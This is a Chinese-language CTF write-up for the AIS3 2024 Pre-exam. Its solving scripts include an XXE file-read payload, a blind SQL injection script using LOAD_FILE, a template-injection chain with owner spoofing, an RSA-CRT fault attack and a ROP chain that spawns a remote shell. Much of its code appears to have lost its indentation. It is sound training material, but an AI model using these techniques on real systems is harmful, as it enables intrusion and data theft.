# 2024 AIS3 Pre-exam & MyFirstCTF Writeup
## Misc
### Welcome
---

Flag就在題敘上,複製貼上即可
FLAG:AIS3{Welc0me_to_AIS3_PreExam_2o24!}
---
### Hash Guesser
---


網站要求上傳照片,並與其背後生成的照片做比較,吻合就能得到FLAG
生成照片:
```python=
def generate_image():
h = hashlib.sha256(secrets.token_bytes(16)).hexdigest()
image = Image.new("L", (16, 16), 0)
pixels = [255 if c == '1' else 0 for c in bin(int(h, 16))[2:].zfill(256)]
image.putdata(pixels)
return image
```
做比較:
```python=
def is_same_image(img1: Image.Image, img2: Image.Image) -> bool:
return ImageChops.difference(img1, img2).getbbox() == None
```
從 ImageChops.difference 去尋找原始碼
```c=
Imaging
ImagingChopDifference(Imaging imIn1, Imaging imIn2) {
CHOP(abs((int)in1[x] - (int)in2[x]));
}
```
CHOP:
```c=
#define CHOP(operation) \
int x, y; \
Imaging imOut; \
imOut = create(imIn1, imIn2, NULL); \
if (!imOut) { \
return NULL; \
} \
for (y = 0; y < imOut->ysize; y++) { \
UINT8 *out = (UINT8 *)imOut->image[y]; \
UINT8 *in1 = (UINT8 *)imIn1->image[y]; \
UINT8 *in2 = (UINT8 *)imIn2->image[y]; \
for (x = 0; x < imOut->linesize; x++) { \
int temp = operation; \
if (temp <= 0) { \
out[x] = 0; \
} else if (temp >= 255) { \
out[x] = 255; \
} else { \
out[x] = temp; \
} \
} \
} \
return imOut;
```
create:
```c=
static Imaging
create(Imaging im1, Imaging im2, char *mode) {
int xsize, ysize;
if (!im1 || !im2 || im1->type != IMAGING_TYPE_UINT8 ||
(mode != NULL && (strcmp(im1->mode, "1") || strcmp(im2->mode, "1")))) {
return (Imaging)ImagingError_ModeError();
}
if (im1->type != im2->type || im1->bands != im2->bands) {
return (Imaging)ImagingError_Mismatch();
}
xsize = (im1->xsize < im2->xsize) ? im1->xsize : im2->xsize;
ysize = (im1->ysize < im2->ysize) ? im1->ysize : im2->ysize;
return ImagingNewDirty(im1->mode, xsize, ysize);
}
```
其中這兩行是關鍵
```c=
xsize = (im1->xsize < im2->xsize) ? im1->xsize : im2->xsize;
ysize = (im1->ysize < im2->ysize) ? im1->ysize : im2->ysize;
```
這代表兩張圖片的尺寸會選擇較小的值,原本程式生成的圖片為16x16,可以生成一個1x1的圖片,這樣只需要比較一個pixel,且值只可能是255或是0
生成1x1圖片的程式:
```python=
def generate_image():
image = Image.new("L", (1, 1), 0)
pixels = [0]
image.putdata(pixels)
return image
i = generate_image()
i.save('./image.jpg', "PNG")
```
最後多上傳幾次就能取得FLAG

FLAG:AIS3{https://github.com/python-pillow/Pillow/issues/2982}
---
### Emoji Console
---


一個只能用emoji的terminal
🐱為 cat,⭐為 *
🐱 ⭐ -> cat * :把目前位置的所有檔案 cat 出來
得到一個emoji跟字元的對應表,且得知目前路徑有個flag的資料夾


重要的有
🐱 -> cat:輸出檔案內容
⭐ > *:代表任一或多個字元
🐍 -> python:運行python程式
😜 -> ;P:用分號結束前面的指令
💿 -> cd:切換資料夾
😑 -> :|:冒號做佔位符,並 pipe 到下一個指令
🚩 -> flag: 就是 flag
然後看flag裡面的內容
指令為 "💿 🚩😜 😑🐱 ⭐"
裡面有個 python 的檔案

最後執行這個python檔,取得FLAG
指令為 "💿 🚩😜 😑🐍 ⭐"

FLAG:AIS3{🫵🪡🉐🤙🤙🤙👉👉🚩👈👈}
---
### Three Dimensional Secret
---

拿到一個 pcapng 的檔案,用 wireshark 打開,在裡面瀏覽,在搜尋 "tcp.stream eq 0" 時,Follow 後取得一段 Gcode

最後執行這段 Gcode,取得FLAG

FLAG:AIS3{b4d1y_tun3d_PriN73r}
---
### Quantum Nim Heist
---

跟AI打一場Nim
根據 https://zh.wikipedia.org/zh-tw/%E5%B0%BC%E5%A7%86%E6%B8%B8%E6%88%8F ,若場上所有pile的尼姆和為0,下家無論如何取,尼姆和絕不為零,而此時上家重新將牌型回到尼姆和為0的狀態,這狀況下下家不可能獲勝。而程式中AI一直將玩家的牌型維持在尼姆和為零的狀態,玩家正常玩是不可能獲勝的。
生成遊戲:
```python=
def generate_losing_game(self) -> None:
'''generate a game such that the second player has a winning strategy'''
self.stones = []
xor_sum = 0
piles = random.randint(6, 8)
for i in range(piles):
self.stones.append(count := random.randint(1, 31))
xor_sum ^= count
if xor_sum != 0:
self.stones.append(xor_sum)
```
AI:
```python=
def get_move(self, game: Game) -> Tuple[int, int]:
'''
if there is a winning strategy, returns a move that guarantees a win.
otherwise, returns a random move.
'''
nim_sum = game.nim_sum()
if nim_sum == 0:
# losing game, make a random move
pile = random.randint(0, len(game.stones) - 1)
count = random.randint(1, game.stones[pile])
else:
# winning game, make a winning move
for i, v in enumerate(game.stones):
target = v ^ nim_sum
if target < v:
pile = i
count = v - target
break
return (pile, count)
```
但是遊戲中判斷玩家行動的部分有 bug
```python=
def play(game: Game):
ai_player = AIPlayer()
win = False
while not game.ended():
game.show()
print_game_menu()
choice = input('it\'s your turn to move! what do you choose? ').strip()
if choice == '0':
pile = int(input('which pile do you choose? '))
count = int(input('how many stones do you remove? '))
if not game.make_move(pile, count):
print_error('that is not a valid move!')
continue
elif choice == '1':
game_str = game.save()
digest = hash.hexdigest(game_str.encode())
print('you game has been saved! here is your saved game:')
print(game_str + ':' + digest)
return
elif choice == '2':
break
# no move -> player wins!
if game.ended():
win = True
break
else:
print_move('you', count, pile)
game.show()
# the AI plays a move
pile, count = ai_player.get_move(game)
assert game.make_move(pile, count)
print_move('i', count, pile)
if win:
print_flag(flag)
exit(0)
else:
print_lose()
```
系統預期的輸入為0, 1, 2,但沒有對以外的輸入做額外的處理,而是仍執行下去。所以如果先隨便動一步,再輸入以外0, 1, 2 以外的字元,此時玩家不會有行動,但 AI 會行動,所以輪到玩家時尼姆和將不為 0,而玩家只要一直將尼姆和為零,就能獲勝,最後取得 FLAG

FLAG:AIS3{Ar3_y0u_a_N1m_ma57er_0r_a_Crypt0_ma57er?}
---
## Web
### Evil Calculator
---


一個簡單的計算機網站,背後計算的函式如下
```python=
@app.route('/calculate', methods=['POST'])
def calculate():
data = request.json
expression = data['expression'].replace(" ","").replace("_","")
try:
result = eval(expression)
except Exception as e:
result = str(e)
return jsonify(result=str(result))
```
上面的 eval 可以運行 python 的語法,我一開始想到引入 os 然後用 os.system 達成RCE,但前面會將空白跟底線給過濾掉,所以想要引入 os 有困難,後來想到給的原始碼中有 flag 檔案,所以其實 flag 的位置是知道的,只要讀就行了,所以最後的 payload 為
```python=
open('../flag').read()
```

FLAG:AIS3{7RiANG13_5NAK3_I5_50_3Vi1}
---
### Ebook Parser


我建了一個空的 word 檔,然後存成 pdf,然後在用網路上的轉換器將其轉換成 epub 檔,最後再用程式將需要的參數補上。
程式:
```python=
import ebookmeta
meta = ebookmeta.get_metadata('wuming.epub')
meta.title = ""
meta.set_author_list_from_string('Isaac Azimov, Arthur Charles Clarke')
ebookmeta.set_metadata('wuming.epub', meta)
```
後來用文字編輯器看了一下 epub 檔,發現標頭 PK 以及 metadata 是由xml組成。

然後 file 一下,發現是 zip,且可以解壓縮


而 content.opf 就是剛剛的 metadata
```xml=
<?xml version='1.0' encoding='utf-8'?>
<package xmlns="http://www.idpf.org/2007/opf" version="2.0" unique-identifier="BookId">
<metadata xmlns:dc="http://purl.org/dc/elements/1.1/" xmlns:opf="http://www.idpf.org/2007/opf">
<dc:identifier opf:scheme="UUID" id="BookId">urn:uuid:8059C9C3-3262-4BCE-81CC-6AA6E00B6F68</dc:identifier>
<dc:language>en</dc:language>
<dc:title></dc:title>
<meta name="cover" content="cover.jpg"/> <meta name="Lighten PDF Converter version" content="5.2.0"/>
<dc:date xmlns:opf="http://www.idpf.org/2007/opf" opf:event="modification">2016-12-09</dc:date>
<dc:creator opf:role="aut">Isaac Azimov</dc:creator><dc:creator opf:role="aut">Arthur Charles Clarke</dc:creator></metadata>
<manifest>
<item id="ncx" href="toc.ncx" media-type="application/x-dtbncx+xml"/>
<item id="x1.html" href="Text/1.html" media-type="application/xhtml+xml"/>
<item id="cover.jpg" href="Images/cover.jpg" media-type="image/jpeg"/> </manifest>
<spine toc="ncx">
<itemref idref="x1.html"/>
</spine>
<guide>
</guide>
</package>
```
插入 XXE 的 payload
```xml=
<?xml version='1.0' encoding='utf-8'?>
<!DOCTYPE replace [<!ENTITY ent SYSTEM "file:///flag"> ]>
...
<dc:title>&ent;</dc:title>
...
```
然後把剛剛解壓縮的東西壓縮回去,然後上傳上去就能得到 FLAG

FLAG:AIS3{LP#1742885: lxml no longer expands external entities (XXE) by default}
---
### It's MyGO!!!!!
---


根據提示,此題應該要 SQLi ,而明顯可以下手的地方是 /song?id=1 的 id 參數

一開始嘗試 UNION SELECT 但網頁一直跑不出來,後來用 ORDER BY 1 就可行得知只有抓一欄,但其實不太重要
目前已知 FLAG 在 /flag,MySQL中有 LOAD_FILE() 的函式可以閱讀文件的資料,
先找的 FLAG 長度,payload 為
```mysql
1 AND LENGTH(LOAD_FILE("/flag"))={num} # (num: 數字)
```
找到長度為 62
然後開始找各個字元
一開始我是用
```mysql
1 AND SUBSTR(LOAD_FILE("/flag"),{idx},1)={chr} # (idx:字元的位置, chr:字元)
```
但當 idx = 22 時,字元似乎用一般的 ASCII 字元讀不出來
後來上網查到 MySQL 中有 ASCII() 可以將字元轉換成數字,
於是 payload 改為
```mysql
1 AND ASCII(SUBSTR(LOAD_FILE("/flag"),{idx},1))={num} # (idx:字元的位置, num:數字)
```
flag 就能完整讀出來,後面會之所以讀不出來是因為數字已經超過 128,如果直接換成字元會長成下圖這樣

可以看到長得很奇怪,而且有些字元是印不出來的,直接丟這個 flag 會顯示是不正確的
於是我後來選擇將數字印出來,然後換成 hex 字串,然後再網路上找個 hex to utf-8 轉換器得到 FLAG



我用的程式:
```python=
import requests
import string
flag = []
url = f'http://chals1.ais3.org:11454/song?id=1'
nodata = 700
def isLess(idx, ch):
full_url = url + f' AND ASCII(SUBSTR(LOAD_FILE("/flag"),{idx},1))>'
query_url = full_url + f'{ch}'
r = requests.get(query_url)
return len(r.content) > nodata
def isLager(idx, ch):
full_url = url + f' AND ASCII(SUBSTR(LOAD_FILE("/flag"),{idx},1))<'
query_url = full_url + f'{ch}'
r = requests.get(query_url)
return len(r.content) > nodata
def isEqual(idx, ch):
full_url = url + f' AND ASCII(SUBSTR(LOAD_FILE("/flag"),{idx},1))='
query_url = full_url + f'{ch}'
r = requests.get(query_url)
return len(r.content) > nodata
while len(flag) < 62:
idx = len(flag) + 1
left = 0
right = 65535
while left <= right:
mid = (left + right) // 2
if isLess(idx, mid):
left = mid + 1
elif isLager(idx, mid):
right = mid - 1
elif isEqual(idx, mid):
flag.append(mid)
break
print(flag, len(flag))
```
FLAG:AIS3{CRYCHIC_Funeral_😭🎸😭🎸😭🎤😭🥁😸🎸}
---
### Capoost
---


我一開始根據提示嘗試找登入介面的漏洞,發現如果先創建了帳號,然後之後只送用戶名稱是可以登入的
正常登入:

只送 username:

但目前還不知道管理員的 username,所以只能先找其他地方

登入進來之後,有個創建貼文的按鈕,裡面有三個 template 可以用,但嘗試 SSTI 和 XSS 都沒有效果。


後來發現在 /template/read?name= 這個地方是可以 path traversal 的,而根據提示要先讀的是 Dockerfile

在 Dockerfile 裡面運行了 make 指令,表示可能還有 Makefile

Makefile(部分):
```make=
...
run: main.go go.mod go.sum $(importdir)
$(builder) run $<
readflag: readflag.go
#$(builder) build -o $(builddir)/readflag -tags $(tags) $<
(builder) build -o $(builddir)/readflag $<
...
```
而從上面這部分得知有 readflag.go 和 main.go 這兩個程式檔
readflag.go 只是一個讀 flag 的程式,沒甚麼重要的
而 main.go 裡的這一段
```go=
import (
// "net/http"
"github.com/gin-gonic/gin"
"github.com/gin-contrib/sessions"
"github.com/gin-contrib/sessions/cookie"
"github.com/go-errors/errors"
"capoost/router"
"capoost/utils/config"
// "capoost/utils/database"
"capoost/utils/errutil"
"capoost/middlewares/auth"
)
```
這段顯示在這資料夾的其它程式,所以順著其它程式的 import 就能大致還原整個資料夾的架構
而在 model/users/users.go 可以知道到管理員的名稱
```go=
const adminname = "4dm1n1337"
```
然後用之前找到的登入漏洞就可以登進去

admin 的介面功能是可以新增 template ,根據之前看到的 template 可知,這裡是可以SSTI 的

而在 router/post/post.go 中有這樣一段
```go=
t := template.New(nowpost.Template)
if nowpost.Owner.ID == 1 {
t = t.Funcs(template.FuncMap{
"G1V3m34Fl4gpL34s3": readflag,
})
}
```
ID 1 是 admin 的,如果一則貼文是由 admin 創建,那就可以用 template 藉由 FuncMap 執行函式 readflag
但是 admin 沒有創建貼文的權限

而在 model/post/post.go 的 UnmarshalJSON() 有這樣一段
```go=
if tmp.Owner != "" {
if owner, err := user.GetUser(tmp.Owner); err == nil {
c.OwnerID = owner.ID
c.Owner = owner
}
}
```
如果在 post 中有一欄 Owner 的資料,那此貼文的擁有者就會設成 Owner
所以只要將 Owner 設成 admin 的名字就能創建一篇 admin 擁有的貼文,
配合剛剛的 template 應該就能讀 FLAG


但沒法讀...

因為在 router/post/post.go 中還有這一段
```go=
if strings.Contains(b.String(), "AIS3") {
errutil.AbortAndError(c, &errutil.Err{
Code: 403,
Msg: "Flag deny",
})
}
```
後來我想到只需要截一段子字串就好,而 ```{{ slice }}``` 可以達到這效果
長度的話我一個一個去試,最後的 payload 為 ```{{ slice G1V3m34Fl4gpL34s3 1 38 }}```

FLAG:AIS3{go_4w4y_WhY_Ar3_y0U_H3R3_Capoo:(}
---
## Crypto
### babyRSA
---

從 output.txt 可以得知 e, n,以及 FLAG 是一個一個字元去編碼的,所以只要去把所有字元用 e, n 去建一張表,然後再去一一對應就能得到 FLAG

我用的程式:
```python=
l = [(略)]
import string
e, n = (64917055846592305247490566318353366999709874684278480849508851204751189365198819392860386504785643859122396657301225094708026391204100352682992979425763157452255909781003406602228716107905797084217189131716198785709124050278116966890968003294485934472496151582084561439957513571043497031319413889856520421733, 115676743153063753482251273007095369919613374531038288437295760314264647231038870203981488393720761532040569270340726478402172283300622527884543078194060647393394510524980830171230330673500741683492143805583694395504141751460090539868114454005046898551218623342425465650881666420408703144859108346202894384649)
dic = dict()
d = string.ascii_letters + string.digits + string.punctuation
def build_dict():
for c in d:
k = pow(ord(c), e, n)
dic[k] = c
build_dict()
flag = [None for _ in range(len(l))]
for i in range(len(l)):
flag[i] = dic[l[i]]
print(''.join(flag))
```
FLAG:AIS3{NeverUseTheCryptographyLibraryImplementedYourSelf}
---
### zkp
---

給 g, p, y,已知 $g^f\ =\ y\ (mod\ p)$,求 $f$ (FLAG) 是多少

網路上查一下,這是離散對數問題。我在 https://ask.sagemath.org/question/61249/discrete_log/ 得知 sagemath 有個函式 discrete_log() 可以解這個問題,於是我就用了,然後得到 FLAG


FLAG:AIS3{ToSolveADiscreteLogProblemWhithSmoothPIsSoEZZZZZZZZZZZ}
---
### easyRSA
---

在網路上查了一下 crt-rsa 有哪些可以下手的地方,然後查到這篇 https://crypto.stackexchange.com/questions/63710/fault-attack-on-rsa-crt
已知原本的訊息 $m$ 以及公鑰 $e$, $n$,創造 crt-rsa signature 但是 $mP$ 與 $mQ$ 其中之一是錯誤的,會生成一個錯誤的 $faultSignature$,而此時就能得到其中一個質數 $p$,公式為
$p = gcd(faultySignature^e−m,N)$
而題目中生成 signature 的函式:
```python=
bug = lambda : random.randrange(0, 256)
def sign(sk, message: bytes):
dP, dQ, qInvP, p, q = sk
data = bytes_to_long(sha256(message).digest())
# use CRT optimize to sign the signature,
# but there are bugs in my code QAQ
a = bug()
mP = pow(data, dP, p) ^ a
b = bug()
mQ = pow(data, dQ, q) ^ b
k = (qInvP * (mP - mQ)) % p
signature = mQ + k * q
return long_to_bytes(signature)
```
雖然生成 mP 跟 mQ 都分別 xor 了 a, b,但只要 a, b 其中之一為零,mP,
mQ 其中之一也會保持原來的值,此時就可以推出質數 p,然後算出 q
而最後是驗證的部分:
```python=
# message = b"Give me the flag!"
def verify(pk, message: bytes, signature: bytes):
e, n = pk
data = bytes_to_long(sha256(message).digest())
return data == pow(bytes_to_long(signature), e, n)
```
密文為 b"Give me the flag!" 的 sha256 hash,在 p, q 後就能推出密鑰 d,從而解出要送的 signature 是多少,然後得到 FLAG

腳本:
```python=
import math
from hashlib import sha256
import base64
from Crypto.Util.number import bytes_to_long, long_to_bytes
from pwn import *
p = 1
while p == 1:
r = remote('chals1.ais3.org', 7001)
r.recvuntil(b'Option: ')
r.sendline(b'1')
r.recvuntil(b'(')
key_pair = r.recvuntil(b')')[:-1].decode()
e, n = [int(n) for n in key_pair.split(',')]
message = bytes_to_long(sha256(b64d(b"R2l2ZSBtZSB0aGUgZmxh")).digest())
# print(e, n)
for i in range(3):
r.recvuntil(b'Option: ')
r.sendline(b'2')
r.recvuntil(b'Your message (In Base64 encoded): ')
r.sendline(b"R2l2ZSBtZSB0aGUgZmxh")
r.recvuntil(b'Signature: ')
faultSignature = b64d(r.recvline()[2:-2])
faultSignature = bytes_to_long(faultSignature)
# print(faultSignature)
p = math.gcd((pow(faultSignature, e, n) - message + n) % n, n)
print(p)
if p != 1:
break
if p != 1:
break
r.close()
if p != 1:
print('Find p!')
c = 58390298905807142549536595535040245956000670278430985491775738737127640060178
p, q = (p, n // p)
phi = (p - 1) * (q - 1)
d = pow(e, -1, phi)
m = b64e(long_to_bytes(pow(c, d, n)))
print(m)
print(r.recvuntil(b'Option: '))
r.sendline(b'3')
print(r.recvuntil(b'Your signature (In Base64 encoded): '))
r.sendline(m)
print(r.recv())
r.close()
```
FLAG:AIS3{IJustWantItFasterQAQ}
---
## Reverse
### The Long Print
---

首先我用 ghidra 發現程式內有 sleep 函式,將其設為 0

結果將改過的程式執行沒跑出 FLAG

後來看了下 secret 跟 key,
secret 裡有 4 個 bytes 是用來 xor 的,每段後面還跟著數字來表示要用哪組 key
key 就是用來和 secret xor來取得 FLAG 的
於是我將 secret 跟 key 取出,自己寫程式做 xor 得到 FLAG

腳本:
```python=
from pwn import *
key = [0x3a011001, 0x4c4c1b0d, 0x3a0b002d, 0x454f40, 0x3104321a, 0x3e2d161d, 0x2c120a31, 0x0d3e1103, 0x0c1a002c, 0x41d1432, 0x1a003100, 0x76180807]
idx = [11, 10, 2, 8, 6, 5, 7, 4, 9, 0, 1, 3]
flag = [0x454b4146, 0x6f6f687b, 0x5f796172, 0x69727473, 0x5f73676e, 0x615f7369, 0x7961776c, 0x6e615f73, 0x6573755f, 0x5f6c7566, 0x6d6d6f63, 0x7d7a6e61]
h = [p32(flag[i] ^ key[idx[i]]) for i in range(12)]
s = ''.join([c.decode() for c in h])
print(s)
```
FLAG:AIS3{You_are_the_master_of_time_management!!!!?}
補充:
賽後我在把程式內迴圈終止條件的值改大後,程式引發 Segmentation fault,結果把 FLAG 也印出來了

---
### 火拳のエース
---

先用 ghidra 發現程式內有 sleep 函式,將其設為 0
然後跑程式就會得到 FLAG 的前面一部分,但後半部分需要在探索

首先看 main 函式

輸入的字串會拆分成8個字一組
然後分別與程式內的其它四組 key xor,然後通過 complex_function,最後在與下面四組字串比較
所以現在就是要從那四組字串還原 FLAG 的後半部
下面是 complex_function:

我做的還原函式:
```python=
def decode(c, i):
v8 = ord(c) - 65
v2 = i % 3
if v2 == 2:
v8 = (v8 + 5) % 26
elif v2 == 1:
v8 = (v8 + 18) % 26
else:
for idx in range(26):
if v8 == d0[idx]:
v8 = idx
break
rot = (-(17 * i) + 65) % 26
e = v8 + rot
while e < 65:
e += 26
return e
```
然後最後就是分別將四組字串 xor 回去,最後得到 FLAG

丟入程式也會顯示這部分是對的

腳本:
```python=
d0 = [7, 10, 13, 16, 19, 22, 25, 2, 5, 8, 11, 14, 17, 20, 23, 0, 3, 6, 9, 12, 15, 18, 21, 24, 1, 4]
d1 = [8, 9, 10, 11, 12, 13, 14, 15, 16, 17, 18, 19, 20, 21, 22, 23, 24, 25, 0, 1, 2, 3, 4, 5, 6, 7]
d2 = [21, 22, 23, 24, 25, 0, 1, 2, 3, 4, 5, 6, 7, 8, 9, 10, 11, 12, 13, 14, 15, 16, 17, 18, 19, 20]
def decode(c, i):
v8 = ord(c) - 65
v2 = i % 3
if v2 == 2:
v8 = (v8 + 5) % 26
elif v2 == 1:
v8 = (v8 + 18) % 26
else:
for idx in range(26):
if v8 == d0[idx]:
v8 = idx
break
rot = (-(17 * i) + 65) % 26
e = v8 + rot
while e < 65:
e += 26
return e
a = "DHLIYJEG"
b = "MZRERYND"
c = "RUYODBAH"
d = "BKEMPBRE"
de_a = [None for _ in range(8)]
de_b = [None for _ in range(8)]
de_c = [None for _ in range(8)]
de_d = [None for _ in range(8)]
for i in range(8):
de_a[i] = decode(a[i], i)
de_b[i] = decode(b[i], i + 32)
de_c[i] = decode(c[i], i + 64)
de_d[i] = decode(d[i], i + 96)
print(de_a+de_b+de_c+de_d)
key_a = [0x0e, 0x0d, 0x7d, 0x6, 0x0f, 0x17, 0x76, 0x4]
key_b = [0x6d, 0x0, 0x1b, 0x7c, 0x6c, 0x13, 0x62, 0x11]
key_c = [0x1e, 0x7e, 0x06, 0x13, 0x7, 0x66, 0x0e, 0x71]
key_d = [0x17, 0x14, 0x1d, 0x70, 0x79, 0x67, 0x74, 0x33]
def xor(a, b):
return chr(a ^ b)
for i in range(8):
de_a[i] = xor(de_a[i], key_a[i])
de_b[i] = xor(de_b[i], key_b[i])
de_c[i] = xor(de_c[i], key_c[i])
de_d[i] = xor(de_d[i], key_d[i])
print(''.join(de_a+de_b+de_c+de_d))
```
FLAG:AIS3{G0D_D4MN_4N9R_15_5UP3R_P0W3RFU1!!!}
---
## Pwn
### Mathter
---

一開始用 ida 分析了程式,發現 goodbye 中有個 gets 函式

進入點有了,於是看這程式的資訊

NX 我查了是設定好存資料的區塊是不能執行指令的,所以插入 shellcode 是不太可行的
Canary 雖然這裡也有找到,但我在解題過程中並沒有受到其阻礙
另外,程式是 statically linked 的,所以 Library 也已經含在程式裡
於是我想到用 ROPgadget 生成 ropchain,
然後 padding 為字元陣列大小 4 加 rbp 的 size 8 等於 12
最後就能得到 shell 取得 FLAG

腳本:
```python=
from pwn import *
# r = process('./mathter')
r = remote('chals1.ais3.org', 50001)
print(r.recvuntil(b': '))
r.sendline(b'q')
from struct import pack
# Padding goes here
p = b''
p += b'a' * 12
p += pack('<Q', 0x00000000004126a3) # pop rsi ; ret
p += pack('<Q', 0x00000000004bc000) # @ .data
p += pack('<Q', 0x000000000042e3a7) # pop rax ; ret
p += b'/bin//sh'
p += pack('<Q', 0x000000000042f981) # mov qword ptr [rsi], rax ; ret
p += pack('<Q', 0x00000000004126a3) # pop rsi ; ret
p += pack('<Q', 0x00000000004bc008) # @ .data + 8
p += pack('<Q', 0x000000000042bda5) # xor rax, rax ; ret
p += pack('<Q', 0x000000000042f981) # mov qword ptr [rsi], rax ; ret
p += pack('<Q', 0x0000000000402540) # pop rdi ; ret
p += pack('<Q', 0x00000000004bc000) # @ .data
p += pack('<Q', 0x00000000004126a3) # pop rsi ; ret
p += pack('<Q', 0x00000000004bc008) # @ .data + 8
p += pack('<Q', 0x000000000047b917) # pop rdx ; pop rbx ; ret
p += pack('<Q', 0x00000000004bc008) # @ .data + 8
p += pack('<Q', 0x4141414141414141) # padding
p += pack('<Q', 0x000000000042bda5) # xor rax, rax ; ret
p += pack('<Q', 0x000000000046daa0) # add rax, 1 ; ret
p += pack('<Q', 0x000000000046daa0) # add rax, 1 ; ret
p += pack('<Q', 0x000000000046daa0) # add rax, 1 ; ret
p += pack('<Q', 0x000000000046daa0) # add rax, 1 ; ret
p += pack('<Q', 0x000000000046daa0) # add rax, 1 ; ret
p += pack('<Q', 0x000000000046daa0) # add rax, 1 ; ret
p += pack('<Q', 0x000000000046daa0) # add rax, 1 ; ret
p += pack('<Q', 0x000000000046daa0) # add rax, 1 ; ret
p += pack('<Q', 0x000000000046daa0) # add rax, 1 ; ret
p += pack('<Q', 0x000000000046daa0) # add rax, 1 ; ret
p += pack('<Q', 0x000000000046daa0) # add rax, 1 ; ret
p += pack('<Q', 0x000000000046daa0) # add rax, 1 ; ret
p += pack('<Q', 0x000000000046daa0) # add rax, 1 ; ret
p += pack('<Q', 0x000000000046daa0) # add rax, 1 ; ret
p += pack('<Q', 0x000000000046daa0) # add rax, 1 ; ret
p += pack('<Q', 0x000000000046daa0) # add rax, 1 ; ret
p += pack('<Q', 0x000000000046daa0) # add rax, 1 ; ret
p += pack('<Q', 0x000000000046daa0) # add rax, 1 ; ret
p += pack('<Q', 0x000000000046daa0) # add rax, 1 ; ret
p += pack('<Q', 0x000000000046daa0) # add rax, 1 ; ret
p += pack('<Q', 0x000000000046daa0) # add rax, 1 ; ret
p += pack('<Q', 0x000000000046daa0) # add rax, 1 ; ret
p += pack('<Q', 0x000000000046daa0) # add rax, 1 ; ret
p += pack('<Q', 0x000000000046daa0) # add rax, 1 ; ret
p += pack('<Q', 0x000000000046daa0) # add rax, 1 ; ret
p += pack('<Q', 0x000000000046daa0) # add rax, 1 ; ret
p += pack('<Q', 0x000000000046daa0) # add rax, 1 ; ret
p += pack('<Q', 0x000000000046daa0) # add rax, 1 ; ret
p += pack('<Q', 0x000000000046daa0) # add rax, 1 ; ret
p += pack('<Q', 0x000000000046daa0) # add rax, 1 ; ret
p += pack('<Q', 0x000000000046daa0) # add rax, 1 ; ret
p += pack('<Q', 0x000000000046daa0) # add rax, 1 ; ret
p += pack('<Q', 0x000000000046daa0) # add rax, 1 ; ret
p += pack('<Q', 0x000000000046daa0) # add rax, 1 ; ret
p += pack('<Q', 0x000000000046daa0) # add rax, 1 ; ret
p += pack('<Q', 0x000000000046daa0) # add rax, 1 ; ret
p += pack('<Q', 0x000000000046daa0) # add rax, 1 ; ret
p += pack('<Q', 0x000000000046daa0) # add rax, 1 ; ret
p += pack('<Q', 0x000000000046daa0) # add rax, 1 ; ret
p += pack('<Q', 0x000000000046daa0) # add rax, 1 ; ret
p += pack('<Q', 0x000000000046daa0) # add rax, 1 ; ret
p += pack('<Q', 0x000000000046daa0) # add rax, 1 ; ret
p += pack('<Q', 0x000000000046daa0) # add rax, 1 ; ret
p += pack('<Q', 0x000000000046daa0) # add rax, 1 ; ret
p += pack('<Q', 0x000000000046daa0) # add rax, 1 ; ret
p += pack('<Q', 0x000000000046daa0) # add rax, 1 ; ret
p += pack('<Q', 0x000000000046daa0) # add rax, 1 ; ret
p += pack('<Q', 0x000000000046daa0) # add rax, 1 ; ret
p += pack('<Q', 0x000000000046daa0) # add rax, 1 ; ret
p += pack('<Q', 0x000000000046daa0) # add rax, 1 ; ret
p += pack('<Q', 0x000000000046daa0) # add rax, 1 ; ret
p += pack('<Q', 0x000000000046daa0) # add rax, 1 ; ret
p += pack('<Q', 0x000000000046daa0) # add rax, 1 ; ret
p += pack('<Q', 0x000000000046daa0) # add rax, 1 ; ret
p += pack('<Q', 0x000000000046daa0) # add rax, 1 ; ret
p += pack('<Q', 0x000000000046daa0) # add rax, 1 ; ret
p += pack('<Q', 0x000000000046daa0) # add rax, 1 ; ret
p += pack('<Q', 0x000000000046daa0) # add rax, 1 ; ret
p += pack('<Q', 0x000000000046daa0) # add rax, 1 ; ret
p += pack('<Q', 0x00000000004013ea) # syscall
print(r.recvuntil(b'[Y/n]'))
r.sendline(p)
r.interactive()
r.close()
```
FLAG:AIS3{0mg_k4zm4_mu57_b3_k1dd1ng_m3_2e89c9}